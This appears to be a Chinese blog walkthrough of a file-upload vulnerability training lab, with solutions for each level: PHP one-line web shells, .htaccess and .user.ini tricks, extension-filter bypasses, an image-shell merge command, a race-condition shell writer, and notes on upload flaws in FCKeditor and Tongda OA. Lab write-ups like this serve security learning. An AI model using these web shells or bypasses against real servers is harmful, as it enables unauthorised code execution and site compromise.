抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Pass-01

前端校验,直接使用 Burp 抓包,修改文件名为 p01.php 内容为一句话木马。
<?php @eval($_POST["shell"]); ?>

Pass-02

同上即可

Pass-03

校验了文件名,并且会自动重命名,使用 php345/phtml,其余同上

Pass-04

这道题需要 httpd.conf 中开启 AllowOverride All
因为对文件名进行了严格的辨别,上传的文件无法解析
所以只能利用 .htaccess 来解析为 php

1
2
3
<FilesMatch "images.png$">
SetHandler application/x-httpd-php
</FilesMatch>

images.png 中的内容为一句话木马

Pass-05

根据源码,对文件扩展名做了复杂的过滤,几无可能上传可直接被解析的文件了。
从网上找到了通关指南
上传 .user.ini 后,再上传一张图片马,等待其起作用即可。

Pass-06

根据源码发现对后缀的匹配是列表形式,没有大小写转换,尝试用 phP/Php 上传 phpinfo 但无法解析。

如果 php 以 FASTCGI 的模式工作于 Apache 中,此种模式下 php 遇到类似 aaa.xxx 这种不是 .php 后缀的文件,会触发 500 错误,另外 nginx fpm 存在一个 security.limit_extensions 配置,默认只解析 php 后缀的文件。

同时其还会对文件重命名,所以上传 .user.ini 会失效。
同样尝试绕过文件后缀的检测:info.php. . 也会失败。

Pass-07

没有过滤文件扩展名的空格,所以使用 .php 可以绕过,但不适用 Linux 系统。

Pass-08

文件名可以保留,那需要用一种被自动忽略的后缀绕过,尝试 :/&. 最后 点 可以成功。

Pass-09

::$DATA 没有检查,可以绕过;仅适用于 Windows。

Pass-10

使用 p10.php. . 可以绕过,因为其末尾的 点 会被自动忽略,而 点空格接下来也会被忽略。

Pass-11

只是一个简单的字符替换,双写绕过即可。

Pass-12

使用 %00 截断,但要求 php<5.3.4 没有满足条件的环境。
具体参考通关攻略

Pass-13

同上

Pass-14

制作图片马,二进制合并即可:copy a.jpg /b + b.php /a c.jpg

Pass-15

调用 getimagesize 本质上还是在校验是否为图片。

Pass-16

使用 exif_imagetype 判断文件类型。

Pass-17

使用 imagecreatefrompng 二次渲染。
经过分析 jpg png 文件结构,加入数据无法被正确识别,gif 则更方便。
具体参考通关攻略

Pass-18

注意到:首先 move_uploaded_file 将文件存放到了 upload 目录里面,然后根据执行 unlink,才回去删除,这时候可以使用条件竞争。

burp 抓包后,开始 null payload 爆破,可以把服务器连接数量调到极大,经过巨量发包,等待错误出现。

将原来一句话木马换为:<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?> 这一样一个写木马。

这里的关键是:在 burp 不断上传的过程中,使用一个 python 脚本在不断地请求上面的木马,在写木马的 php 存在于服务器的一小段时间内如果被 python 脚本访问到了,那就写入了一个 Tony.php 的一句话木马。

Pass-19

上传图片马然后利用文件包含漏洞,但此题没有明确指出可用文件包含漏洞。
使用 Apache<5.3.4 版本的 0x00 截断漏洞,但无法尝试。

Pass-20

是用 multipart/form-data; 传递的文件名,通过 大小写/点/::$DATA 等方式皆可,单纯匹配黑名单列表校验。

Pass-21

增加了很多校验,但只需要添加一下内容即可绕过:

1
2
3
4
-----------------------------46324931516294928123512598852
Content-Disposition: form-data; name="save_name[2]"

png

漏洞成因:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}

首先是判断 $_POST['save_name'] 是否为列表,如果不是列表就根据 . 来拆分,构造 save_name array,一共三个元素,0 位置是文件名,1 位置置为空,2 位置是一个合法的扩展名。这样接下的 end() 就获取到了一个合法的扩展名,然后到拼接的时候 count($file) - 1 是 1,即拼接空,相当于原文件名没有改变。

Pass-21

FCKeditor 2.4.3 文件上传漏洞,windows 可用 . 或 空格 等轻松绕过。

Pass-22

根据 POC 使用 shell.<>php 可以绕过,细节定位:pull

Pass-23

通达OA v11.8以下存在文件上传接口,可上传 .user.ini 文件包含有PHP语句的文件导致命令执行 安装包在根目录下

Pass-24

通达OA v11.2 upload.php 后台任意文件上传漏洞 安装包在根目录下

23/24 均未实验。

评论